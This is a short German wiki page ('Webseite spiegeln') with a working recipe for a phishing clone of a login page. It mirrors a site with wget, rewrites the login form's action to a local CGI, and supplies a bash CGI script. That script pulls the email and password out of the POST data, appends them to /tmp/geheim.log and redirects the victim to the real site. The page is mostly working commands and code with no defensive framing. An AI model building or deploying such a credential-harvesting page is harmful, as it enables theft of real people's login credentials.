Webseite spiegeln

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

vorbereitung

apt-get install apache2 
cd /var/www/
rm -r html 

abziehen der Seite

wget -l 1 -r http://$WEBSITE
mv  http://$WEBSITE html 
  • besser mit browser

manipulation

ersetze in index.html

action="https://www.schmeich.de/login.php?login_attempt=1&lwv=110"

durch

action="http://www.schmeich.de/cgi-bin/login.cgi"

cgi erstellen

/usr/lib/cgi-bin/login.cgi
#!/bin/bash
if [ "$REQUEST_METHOD" = "POST" ]; then
    if [ "$CONTENT_LENGTH" -gt 0 ]; then
        read -n $CONTENT_LENGTH POST_DATA <&0
    fi
fi
MAIL=$(echo $POST_DATA | cut -f 2 -d "&")
PASS=$(echo $POST_DATA | cut -f 3 -d "&")
echo "$MAIL $PASS" >> /tmp/geheim.log

cat<<HERE

<!doctype html>

<html>
<meta http-equiv="refresh" content="0; url=https://www.schmeich.de/" />
</html>
HERE

cgi aktivieren

 in der conf einkommentieren 
 und
 a2enmod cgid